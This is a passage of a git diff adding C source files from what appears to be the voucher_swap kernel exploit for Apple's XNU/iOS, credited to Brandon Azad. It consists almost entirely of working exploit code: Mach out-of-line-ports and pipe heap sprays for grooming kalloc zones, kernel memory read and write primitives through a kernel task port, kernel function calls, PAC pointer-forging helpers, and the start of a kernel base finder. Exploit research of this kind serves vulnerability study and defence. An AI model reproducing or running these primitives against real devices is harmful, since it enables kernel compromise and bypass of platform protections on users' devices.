+ kern_return_t kr = mach_port_destroy(mach_task_self(), port);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_port_destroy",
+ kr, mach_error_string(kr));
+ }
+ }
+ ports[i] = MACH_PORT_DEAD;
+ }
+}
+
+void
+deallocate_ports(mach_port_t *ports, size_t count) {
+ for (size_t i = 0; i < count; i++) {
+ mach_port_t port = ports[i];
+ if (MACH_PORT_VALID(port)) {
+ kern_return_t kr = mach_port_deallocate(mach_task_self(), port);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_port_deallocate",
+ kr, mach_error_string(kr));
+ }
+ }
+ ports[i] = MACH_PORT_DEAD;
+ }
+}
+
+void
+port_increase_queue_limit(mach_port_t port) {
+ mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX };
+ kern_return_t kr = mach_port_set_attributes(
+ mach_task_self(),
+ port,
+ MACH_PORT_LIMITS_INFO,
+ (mach_port_info_t) &limits,
+ MACH_PORT_LIMITS_INFO_COUNT);
+ assert(kr == KERN_SUCCESS);
+}
+
+void
+port_insert_send_right(mach_port_t port) {
+ kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port,
+ MACH_MSG_TYPE_MAKE_SEND);
+ assert(kr == KERN_SUCCESS);
+}
+
+/*
+ * ool_ports_spray_size_with_gc_compute_parameters
+ *
+ * Description:
+ * Compute the spray parameters for ool_ports_spray_size_with_gc().
+ */
+static void
+ool_ports_spray_size_with_gc_compute_parameters(
+ size_t ports_per_ool, size_t message_size, size_t spray_size,
+ size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) {
+ // Each message will contain no more than gc_step bytes of OOL ports.
+ const size_t max_ool_memory_per_message = gc_step;
+ // How many OOL ports descriptors can we send per message? As many as we'd like, as long
+ // as:
+ // 1. we aren't sending more than gc_step bytes of OOL ports in a message,
+ // 2. we have space for them in the message, and
+ // 3. we don't blow through the max_ool_ports_per_message limit.
+ size_t ool_size_ = ports_per_ool * sizeof(uint64_t);
+ size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_;
+ size_t max_ools_by_message_size =
+ (message_size - sizeof(mach_msg_base_t))
+ / sizeof(mach_msg_ool_ports_descriptor_t);
+ size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool;
+ size_t ools_per_message_ = min(max_ools_by_memory,
+ min(max_ools_by_message_size, max_ools_by_port_limit));
+ // How many OOL port descriptors will we need to spray? Enough to fill all the requested
+ // memory.
+ size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_;
+ // Return the parameters.
+ *ool_size = ool_size_;
+ *ools_per_message = ools_per_message_;
+ *ools_needed = ools_needed_;
+}
+
+size_t
+ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
+ size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
+ mach_msg_type_name_t ool_disposition, size_t spray_size) {
+ // Compute the parameters for the spray.
+ size_t ool_size, ools_per_message, ools_needed;
+ ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size,
+ &ool_size, &ools_per_message, &ools_needed);
+ // Spray to each of the ports in turn until we've created the requisite number of OOL ports
+ // allocations.
+ ssize_t ools_left = ools_needed;
+ size_t sprayed = 0;
+ size_t next_gc_step = 0;
+ size_t port_count = *holding_port_count;
+ size_t ports_used = 0;
+ for (; ports_used < port_count && ools_left > 0; ports_used++) {
+ // Spray this port one message at a time until we've maxed out its queue.
+ size_t messages_sent = 0;
+ for (; messages_sent < (kCFCoreFoundationVersionNumber >= 1535.12 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) {
+ // If we've crossed the GC sleep boundary, sleep for a bit and schedule the
+ // next one.
+ if (sprayed >= next_gc_step) {
+ next_gc_step += gc_step;
+ pthread_yield_np();
+ usleep(10000);
+ fprintf(stderr, ".");
+ }
+ // Send a message.
+ size_t sent = ool_ports_spray_port(
+ holding_ports[ports_used],
+ ool_ports,
+ ool_port_count,
+ ool_disposition,
+ ools_per_message,
+ message_size,
+ 1);
+ // If we couldn't send a message to this port, stop trying to send more
+ // messages and move on to the next port.
+ if (sent != 1) {
+ assert(sent == 0);
+ break;
+ }
+ // We sent a full message worth of OOL port descriptors.
+ sprayed += ools_per_message * ool_size;
+ ools_left -= ools_per_message;
+ }
+ }
+ fprintf(stderr, "\n");
+ // Return the number of ports actually used and the number of bytes actually sprayed.
+ *holding_port_count = ports_used;
+ return sprayed;
+}
+
+void
+port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) {
+ kern_return_t kr;
+ mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT
+ | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
+ | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL);
+ // Allocate an initial message buffer.
+ mach_msg_size_t msg_size = 0x4000;
+ mach_msg_base_t *msg = malloc(msg_size);
+ assert(msg != NULL);
+ // Loop through all the messages queued on the port.
+ for (;;) {
+ // Try to receive the message. If the buffer isn't big enough, reallocate
+ // and try again. This should only happen twice.
+ for (size_t try = 0;; try++) {
+ assert(try < 2);
+ // Receive the message.
+ kr = mach_msg(
+ &msg->header,
+ options,
+ 0,
+ msg_size,
+ port,
+ 0,
+ MACH_PORT_NULL);
+ if (kr != MACH_RCV_LARGE) {
+ break;
+ }
+ // The buffer was too small, increase it.
+ msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options);
+ free(msg);
+ msg = malloc(msg_size);
+ assert(msg != NULL);
+ }
+ // If we got an error, stop processing messages on this port. If the error is a
+ // timeout, that means that we've exhausted the queue, so don't print an error
+ // message.
+ if (kr != KERN_SUCCESS) {
+ if (kr != MACH_RCV_TIMED_OUT) {
+ ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
+ }
+ break;
+ }
+ // Pass the message to the message handler.
+ message_handler(&msg->header);
+ }
+ // Clean up resources.
+ free(msg);
+}
+
+void
+port_discard_messages(mach_port_t port) {
+ port_drain_messages(port, ^(mach_msg_header_t *header) {
+ mach_msg_destroy(header);
+ });
+}
+
+void
+ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
+ void (^ool_ports_handler)(mach_port_t *, size_t)) {
+ // Loop through all the ports.
+ for (size_t port_index = 0; port_index < holding_port_count; port_index++) {
+ // Handle each message on the port.
+ port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) {
+ struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0;
+ // We've successfully received a message. Make sure it's the type we
+ // expect.
+ if (msg->header.msgh_id != 'ools') {
+ WARNING("received unexpected message id 0x%x",
+ msg->header.msgh_id);
+ goto done;
+ }
+ if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) {
+ WARNING("skipping non-complex message");
+ goto done;
+ }
+ // Go through the descriptors one at a time passing them to the handler
+ // block.
+ mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0];
+ for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) {
+ void *next;
+ switch (d->type.type) {
+ case MACH_MSG_OOL_PORTS_DESCRIPTOR:
+ next = &d->ool_ports + 1;
+ mach_port_t *ports = (mach_port_t *)
+ d->ool_ports.address;
+ size_t count = d->ool_ports.count;
+ ool_ports_handler(ports, count);
+ break;
+ default:
+ WARNING("unexpected descriptor type %u",
+ d->type.type);
+ goto done;
+ }
+ d = (mach_msg_descriptor_t *)next;
+ }
+done:
+ // Discard the message.
+ mach_msg_destroy(&msg->header);
+ });
+ }
+}
+
+void
+increase_file_limit() {
+ struct rlimit rl = {};
+ int error = getrlimit(RLIMIT_NOFILE, &rl);
+ assert(error == 0);
+ rl.rlim_cur = 10240;
+ rl.rlim_max = rl.rlim_cur;
+ error = setrlimit(RLIMIT_NOFILE, &rl);
+ if (error != 0) {
+ ERROR("could not increase file limit");
+ }
+ error = getrlimit(RLIMIT_NOFILE, &rl);
+ assert(error == 0);
+ if (rl.rlim_cur != 10240) {
+ ERROR("file limit is %llu", rl.rlim_cur);
+ }
+}
+
+void
+pipe_close(int pipefds[2]) {
+ close(pipefds[0]);
+ close(pipefds[1]);
+}
+
+/*
+ * set_nonblock
+ *
+ * Description:
+ * Set the O_NONBLOCK flag on the specified file descriptor.
+ */
+static void
+set_nonblock(int fd) {
+ int flags = fcntl(fd, F_GETFL);
+ flags |= O_NONBLOCK;
+ fcntl(fd, F_SETFL, flags);
+}
+
+int *
+create_pipes(size_t *pipe_count) {
+ // Allocate our initial array.
+ size_t capacity = *pipe_count;
+ int *pipefds = calloc(2 * capacity, sizeof(int));
+ assert(pipefds != NULL);
+ // Create as many pipes as we can.
+ size_t count = 0;
+ for (; count < capacity; count++) {
+ // First create our pipe fds.
+ int fds[2] = { -1, -1 };
+ int error = pipe(fds);
+ // Unfortunately pipe() seems to return success with invalid fds once we've
+ // exhausted the file limit. Check for this.
+ if (error != 0 || fds[0] < 0 || fds[1] < 0) {
+ pipe_close(fds);
+ break;
+ }
+ // Mark the write-end as nonblocking.
+ set_nonblock(fds[1]);
+ // Store the fds.
+ pipefds[2 * count + 0] = fds[0];
+ pipefds[2 * count + 1] = fds[1];
+ }
+ // Truncate the array to the smaller size.
+ int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
+ assert(new_pipefds != NULL);
+ // Return the count and the array.
+ *pipe_count = count;
+ return new_pipefds;
+}
+
+void
+close_pipes(int *pipefds, size_t pipe_count) {
+ for (size_t i = 0; i < pipe_count; i++) {
+ pipe_close(pipefds + 2 * i);
+ }
+}
+
+size_t
+pipe_spray(const int *pipefds, size_t pipe_count,
+ void *pipe_buffer, size_t pipe_buffer_size,
+ void (^update)(uint32_t pipe_index, void *data, size_t size)) {
+ assert(pipe_count <= 0xffffff);
+ assert(pipe_buffer_size > 512);
+ size_t write_size = pipe_buffer_size - 1;
+ size_t pipes_filled = 0;
+ for (size_t i = 0; i < pipe_count; i++) {
+ // Update the buffer.
+ if (update != NULL) {
+ update((uint32_t)i, pipe_buffer, pipe_buffer_size);
+ }
+ // Fill the write-end of the pipe with the buffer. Leave off the last byte.
+ int wfd = pipefds[2 * i + 1];
+ ssize_t written = write(wfd, pipe_buffer, write_size);
+ if (written != write_size) {
+ // This is most likely because we've run out of pipe buffer memory. None of
+ // the subsequent writes will work either.
+ break;
+ }
+ pipes_filled++;
+ }
+ return pipes_filled;
+}
diff --git a/kernel_call/kernel_alloc.h b/kernel_call/kernel_alloc.h
new file mode 100755
index 0000000..1c253db
--- /dev/null
+++ b/kernel_call/kernel_alloc.h
@@ -0,0 +1,291 @@
+/*
+ * kernel_alloc.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
+#define VOUCHER_SWAP__KERNEL_ALLOC_H_
+
+#include <mach/mach.h>
+#include <stddef.h>
+
+/*
+ * message_size_for_kalloc_size
+ *
+ * Description:
+ * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
+ * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
+ * could be slightly small.
+ */
+size_t message_size_for_kalloc_size(size_t kalloc_size);
+
+/*
+ * kalloc_size_for_message_size
+ *
+ * Description:
+ * Return the kalloc allocation size corresponding to sending a message of the specified size.
+ *
+ * This is only correct for messages large enough that the ipc_kmsg struct is allocated with
+ * kalloc().
+ */
+size_t kalloc_size_for_message_size(size_t message_size);
+
+/*
+ * ipc_kmsg_size_for_message_size
+ *
+ * Description:
+ * Return the allocation size of the ipc_kmsg for the given message size.
+ */
+size_t ipc_kmsg_size_for_message_size(size_t message_size);
+
+/*
+ * ool_ports_spray_port
+ *
+ * Description:
+ * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
+ * with the given ports. The goal is to spray the target kalloc zone with many copies of a
+ * particular array of OOL ports.
+ *
+ * Make sure that the port's queue limits are sufficient to hold the specified number of
+ * messages.
+ *
+ * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
+ * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
+ * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
+ * the OOL ports spray.
+ *
+ * There are limits on the number of OOL ports that can be sent in a message, the number of
+ * descriptors in a message, and the number of messages that can be queued on a port. Be sure
+ * that the parameters you supply are valid, since this function does not check whether or not
+ * the kernel will let your message through (or even whether they make sense).
+ *
+ * Parameters:
+ * holding_port The port on which to enqueue the Mach messages.
+ * ool_ports The OOL Mach ports to spray.
+ * port_count The number of OOL Mach ports.
+ * ool_disposition The disposition to send the OOL ports.
+ * ool_count The number of OOL ports descriptors to send per message.
+ * message_size The size of each message.
+ * message_count The number of messages to enqueue on the holding port.
+ *
+ * Returns:
+ * Returns the number of messages that were successfully sent.
+ */
+size_t ool_ports_spray_port(mach_port_t holding_port,
+ const mach_port_t *ool_ports, size_t port_count,
+ mach_msg_type_name_t ool_disposition, size_t ool_count,
+ size_t message_size, size_t message_count);
+
+/*
+ * kalloc_spray_port
+ *
+ * Description:
+ * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
+ * messages containing OOL ports to the specified holding port. Returns the number of kalloc
+ * allocations that were actually performed.
+ *
+ * The point of this function is to quickly make as many kalloc allocations in the target zone
+ * as possible using the specified holding port. The way we do this is by sending messages
+ * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
+ * struct for the message and the OOL port arrays fall into the target kalloc zone. We will
+ * continue sending messages to the port until either we've created the required number of
+ * allocations or we've filled up the port's message queue.
+ *
+ * To free the allocations, call mach_port_destroy() on the holding port. Note that this will
+ * also free the holding port if there are no other references.
+ *
+ * Parameters:
+ * holding_port The port on which to enqueue the Mach messages.
+ * min_kalloc_size The minimum sized allocation that is handled by this zone.
+ * kalloc_zone The kalloc zone in which to spray allocations.
+ * kalloc_count The desired number of allocations to make.
+ *
+ * Returns:
+ * Returns the number of kalloc allocations actually made, which may be less than the number
+ * requested if the port fills up or if an error is encountered.
+ */
+size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
+ size_t kalloc_count);
+
+/*
+ * kalloc_spray_size
+ *
+ * Description:
+ * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
+ * messages containing OOL ports to the given holding ports.
+ *
+ * See kalloc_spray_port().
+ *
+ * To free the allocations, call destroy_ports() on the holding ports. Note that
+ * destroy_ports() will also free the holding ports themselves if there are no other
+ * references.
+ *
+ * Parameters:
+ * holding_ports The array of holding ports.
+ * port_count inout On entry, the number of holding ports available. On exit,
+ * the number of holding ports used.
+ * min_kalloc_size The minimum sized allocation that is handled by this zone.
+ * kalloc_zone The kalloc zone in which to spray allocations.
+ * spray_size The number of bytes to try and spray to the target zone.
+ *
+ * Returns:
+ * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
+ * the requested size if an error is encountered or more than the requested size if the spray
+ * size was not an even multiple of the zone size.
+ */
+size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
+ size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
+
+/*
+ * ool_ports_spray_size_with_gc
+ *
+ * Description:
+ * Spray spray_size bytes of kernel memory with the specified out-of-line ports.
+ *
+ * Parameters:
+ * holding_ports The array of holding ports.
+ * holding_port_count inout On entry, the number of holding ports available. On exit,
+ * the number of holding ports used.
+ * message_size The size of each message to send. This parameter should be
+ * chosen carefully, as allocations will be taken out of the
+ * corresponding kalloc zone.
+ * ool_ports The OOL Mach ports to spray.
+ * ool_port_count The number of OOL Mach ports.
+ * ool_disposition The disposition to send the OOL ports.
+ * spray_size The number of bytes of OOL ports to try and spray.
+ *
+ * Returns:
+ * Returns the number of bytes of OOL ports actually sprayed.
+ */
+size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
+ size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
+ mach_msg_type_name_t ool_disposition, size_t spray_size);
+
+/*
+ * create_ports
+ *
+ * Description:
+ * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
+ * longer needed, deallocate it with free().
+ */
+mach_port_t *create_ports(size_t count);
+
+/*
+ * destroy_ports
+ *
+ * Description:
+ * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
+ */
+void destroy_ports(mach_port_t *ports, size_t count);
+
+/*
+ * deallocate_ports
+ *
+ * Description:
+ * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
+ */
+void deallocate_ports(mach_port_t *ports, size_t count);
+
+/*
+ * port_increase_queue_limit
+ *
+ * Description:
+ * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
+ */
+void port_increase_queue_limit(mach_port_t port);
+
+/*
+ * port_insert_send_right
+ *
+ * Description:
+ * Insert a send right on the specified port, which must name a receive right.
+ */
+void port_insert_send_right(mach_port_t port);
+
+/*
+ * port_drain_messages
+ *
+ * Description:
+ * Drain all the messages currently queued on the specified port. The messages are passed to
+ * the message_handler block, which is responsible for processing the messages and freeing any
+ * associated resources (e.g. with mach_msg_destroy()).
+ */
+void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
+
+/*
+ * port_discard_messages
+ *
+ * Description:
+ * Discard all the messages currently queued on the specified port. The messages are received
+ * and passed directly to mach_msg_destroy().
+ */
+void port_discard_messages(mach_port_t port);
+
+/*
+ * ool_ports_spray_receive
+ *
+ * Description:
+ * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
+ * the specified handler block. The messages are destroyed after they are processed.
+ */
+void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
+ void (^ool_ports_handler)(mach_port_t *, size_t));
+
+/*
+ * increase_file_limit
+ *
+ * Description:
+ * Increase our process's limit on the number of open files.
+ */
+void increase_file_limit(void);
+
+/*
+ * pipe_close
+ *
+ * Description:
+ * Close the file descriptors of a pipe.
+ */
+void pipe_close(int pipefds[2]);
+
+/*
+ * create_pipes
+ *
+ * Description:
+ * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
+ * on return it contains the number of pipes actually created.
+ *
+ * The pipes are returned as an array of file descriptors.
+ */
+int *create_pipes(size_t *pipe_count);
+
+/*
+ * close_pipes
+ *
+ * Description:
+ * Close the pipes in an array.
+ */
+void close_pipes(int *pipefds, size_t pipe_count);
+
+/*
+ * pipe_spray
+ *
+ * Description:
+ * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
+ * 16 MB, so that's the maximum we'll be able to spray.
+ *
+ * Note that the last byte of the sprayed data won't be written to memory!
+ *
+ * Parameters:
+ * pipefds The pipe file descriptors.
+ * pipe_count The number of pipe fd pairs.
+ * pipe_buffer The data to spray.
+ * pipe_buffer_size The size of the data to spray.
+ * update A callback to modify the data on each iteration.
+ *
+ * Returns:
+ * Returns the number of pipes actually filled.
+ */
+size_t pipe_spray(const int *pipefds, size_t pipe_count,
+ void *pipe_buffer, size_t pipe_buffer_size,
+ void (^update)(uint32_t pipe_index, void *data, size_t size));
+
+#endif
diff --git a/kernel_call/kernel_call.c b/kernel_call/kernel_call.c
new file mode 100755
index 0000000..f3bfad5
--- /dev/null
+++ b/kernel_call/kernel_call.c
@@ -0,0 +1,44 @@
+/*
+ * kernel_call.c
+ * Brandon Azad
+ */
+#include "kernel_call.h"
+
+#include <assert.h>
+
+#include "pac.h"
+#include "user_client.h"
+#include "log.h"
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+kernel_call_init() {
+ bool ok = stage1_kernel_call_init()
+ && stage2_kernel_call_init()
+ && stage3_kernel_call_init();
+ if (!ok) {
+ kernel_call_deinit();
+ }
+ return ok;
+}
+
+void
+kernel_call_deinit() {
+ stage3_kernel_call_deinit();
+ stage2_kernel_call_deinit();
+ stage1_kernel_call_deinit();
+}
+
+uint32_t
+kernel_call_7(uint64_t function, size_t argument_count, ...) {
+ assert(argument_count <= 7);
+ uint64_t arguments[7];
+ va_list ap;
+ va_start(ap, argument_count);
+ for (size_t i = 0; i < argument_count && i < 7; i++) {
+ arguments[i] = va_arg(ap, uint64_t);
+ }
+ va_end(ap);
+ return kernel_call_7v(function, argument_count, arguments);
+}
diff --git a/kernel_call/kernel_call.h b/kernel_call/kernel_call.h
new file mode 100755
index 0000000..5199fdc
--- /dev/null
+++ b/kernel_call/kernel_call.h
@@ -0,0 +1,93 @@
+/*
+ * kernel_call.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL_H_
+#define VOUCHER_SWAP__KERNEL_CALL_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/*
+ * kernel_call_init
+ *
+ * Description:
+ * Initialize kernel_call functions.
+ */
+bool kernel_call_init(void);
+
+/*
+ * kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize the kernel call subsystem and restore the kernel to a safe state.
+ */
+void kernel_call_deinit(void);
+
+/*
+ * kernel_call_7
+ *
+ * Description:
+ * Call a kernel function with the specified arguments.
+ *
+ * Restrictions:
+ * See kernel_call_7v().
+ */
+uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
+
+/*
+ * kernel_call_7v
+ *
+ * Description:
+ * Call a kernel function with the specified arguments.
+ *
+ * Restrictions:
+ * At most 7 arguments can be passed.
+ * arguments[0] must be nonzero.
+ * The return value is truncated to 32 bits.
+ */
+uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
+
+/*
+ * kernel_forge_pacia
+ *
+ * Description:
+ * Forge a PACIA pointer using the kernel forging gadget.
+ */
+uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
+
+/*
+ * kernel_forge_pacia_with_type
+ *
+ * Description:
+ * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
+ * type code, as context.
+ */
+uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
+
+/*
+ * kernel_forge_pacda
+ *
+ * Description:
+ * Forge a PACDA pointer using the kernel forging gadget.
+ */
+uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
+
+/*
+ * kernel_xpaci
+ *
+ * Description:
+ * Strip a PACIx code from a kernel pointer.
+ */
+uint64_t kernel_xpaci(uint64_t pointer);
+
+/*
+ * kernel_xpacd
+ *
+ * Description:
+ * Strip a PACDx code from a kernel pointer.
+ */
+uint64_t kernel_xpacd(uint64_t pointer);
+
+#endif
diff --git a/kernel_call/kernel_memory.c b/kernel_call/kernel_memory.c
new file mode 100755
index 0000000..fba81b8
--- /dev/null
+++ b/kernel_call/kernel_memory.c
@@ -0,0 +1,129 @@
+/*
+ * kernel_memory.c
+ * Brandon Azad
+ */
+#define KERNEL_MEMORY_EXTERN
+#include "kernel_memory.h"
+
+#include "log.h"
+#include "mach_vm.h"
+#include "parameters.h"
+
+// ---- Kernel memory functions -------------------------------------------------------------------
+
+bool
+kernel_read(uint64_t address, void *data, size_t size) {
+ mach_vm_size_t size_out;
+ kern_return_t kr = mach_vm_read_overwrite(kernel_task_port, address,
+ size, (mach_vm_address_t) data, &size_out);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr));
+ ERROR("could not %s address 0x%016llx", "read", address);
+ return false;
+ }
+ if (size_out != size) {
+ ERROR("partial read of address 0x%016llx: %llu of %zu bytes",
+ address, size_out, size);
+ return false;
+ }
+ return true;
+}
+
+bool
+kernel_write(uint64_t address, const void *data, size_t size) {
+ kern_return_t kr = mach_vm_write(kernel_task_port, address,
+ (mach_vm_address_t) data, (mach_msg_size_t) size);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr));
+ ERROR("could not %s address 0x%016llx", "write", address);
+ return false;
+ }
+ return true;
+}
+
+uint8_t
+kernel_read8(uint64_t address) {
+ uint8_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+uint16_t
+kernel_read16(uint64_t address) {
+ uint16_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+uint32_t
+kernel_read32(uint64_t address) {
+ uint32_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+uint64_t
+kernel_read64(uint64_t address) {
+ uint64_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+bool
+kernel_write8(uint64_t address, uint8_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+bool
+kernel_write16(uint64_t address, uint16_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+bool
+kernel_write32(uint64_t address, uint32_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+bool
+kernel_write64(uint64_t address, uint64_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+// ---- Kernel utility functions ------------------------------------------------------------------
+
+bool
+kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
+ uint64_t *ipc_port, uint64_t *ipc_entry) {
+ // Get the task's ipc_space.
+ uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
+ // Get the size of the table.
+ uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
+ // Get the index of the port and check that it is in-bounds.
+ uint32_t port_index = MACH_PORT_INDEX(port_name);
+ if (port_index >= is_table_size) {
+ return false;
+ }
+ // Get the space's is_table and compute the address of this port's entry.
+ uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
+ uint64_t entry = is_table + port_index * SIZE(ipc_entry);
+ if (ipc_entry != NULL) {
+ *ipc_entry = entry;
+ }
+ // Get the address of the port if requested.
+ if (ipc_port != NULL) {
+ *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
+ }
+ return true;
+}
diff --git a/kernel_call/kernel_memory.h b/kernel_call/kernel_memory.h
new file mode 100755
index 0000000..6486b4e
--- /dev/null
+++ b/kernel_call/kernel_memory.h
@@ -0,0 +1,132 @@
+/*
+ * kernel_memory.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
+#define VOUCHER_SWAP__KERNEL_MEMORY_H_
+
+#include <mach/mach.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#ifdef KERNEL_MEMORY_EXTERN
+#define extern KERNEL_MEMORY_EXTERN
+#endif
+
+/*
+ * kernel_task_port
+ *
+ * Description:
+ * The kernel task port.
+ */
+extern mach_port_t kernel_task_port;
+
+/*
+ * kernel_task
+ *
+ * Description:
+ * The address of the kernel_task in kernel memory.
+ */
+extern uint64_t kernel_task;
+
+/*
+ * current_task
+ *
+ * Description:
+ * The address of the current task in kernel memory.
+ */
+extern uint64_t current_task;
+
+/*
+ * kernel_read
+ *
+ * Description:
+ * Read data from kernel memory.
+ */
+bool kernel_read(uint64_t address, void *data, size_t size);
+
+/*
+ * kernel_write
+ *
+ * Description:
+ * Write data to kernel memory.
+ */
+bool kernel_write(uint64_t address, const void *data, size_t size);
+
+/*
+ * kernel_read8
+ *
+ * Description:
+ * Read a single byte from kernel memory. If the read fails, -1 is returned.
+ */
+uint8_t kernel_read8(uint64_t address);
+
+/*
+ * kernel_read16
+ *
+ * Description:
+ * Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
+ */
+uint16_t kernel_read16(uint64_t address);
+
+/*
+ * kernel_read32
+ *
+ * Description:
+ * Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
+ */
+uint32_t kernel_read32(uint64_t address);
+
+/*
+ * kernel_read64
+ *
+ * Description:
+ * Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
+ */
+uint64_t kernel_read64(uint64_t address);
+
+/*
+ * kernel_write8
+ *
+ * Description:
+ * Write a single byte to kernel memory.
+ */
+bool kernel_write8(uint64_t address, uint8_t value);
+
+/*
+ * kernel_write16
+ *
+ * Description:
+ * Write a 16-bit value to kernel memory.
+ */
+bool kernel_write16(uint64_t address, uint16_t value);
+
+/*
+ * kernel_write32
+ *
+ * Description:
+ * Write a 32-bit value to kernel memory.
+ */
+bool kernel_write32(uint64_t address, uint32_t value);
+
+/*
+ * kernel_write64
+ *
+ * Description:
+ * Write a 64-bit value to kernel memory.
+ */
+bool kernel_write64(uint64_t address, uint64_t value);
+
+/*
+ * kernel_ipc_port_lookup
+ *
+ * Description:
+ * Get the address of the ipc_port and ipc_entry for a Mach port name.
+ */
+bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
+ uint64_t *ipc_port, uint64_t *ipc_entry);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/kernel_slide.c b/kernel_call/kernel_slide.c
new file mode 100755
index 0000000..832a179
--- /dev/null
+++ b/kernel_call/kernel_slide.c
@@ -0,0 +1,88 @@
+/*
+ * kernel_slide.c
+ * Brandon Azad
+ */
+#define KERNEL_SLIDE_EXTERN
+#include "kernel_slide.h"
+
+#include <assert.h>
+#include <mach/vm_region.h>
+#include <mach-o/loader.h>
+
+#include "kernel_memory.h"
+#include "log.h"
+#include "parameters.h"
+#include "platform.h"
+
+/*
+ * is_kernel_base
+ *
+ * Description:
+ * Checks if the given address is the kernel base.
+ */
+static bool
+is_kernel_base(uint64_t base) {
+ // Read the data at the base address as a Mach-O header.
+ struct mach_header_64 header = {};
+ bool ok = kernel_read(base, &header, sizeof(header));
+ if (!ok) {
+ return false;
+ }
+ // Validate that this looks like the kernel base. We don't check the CPU subtype since it
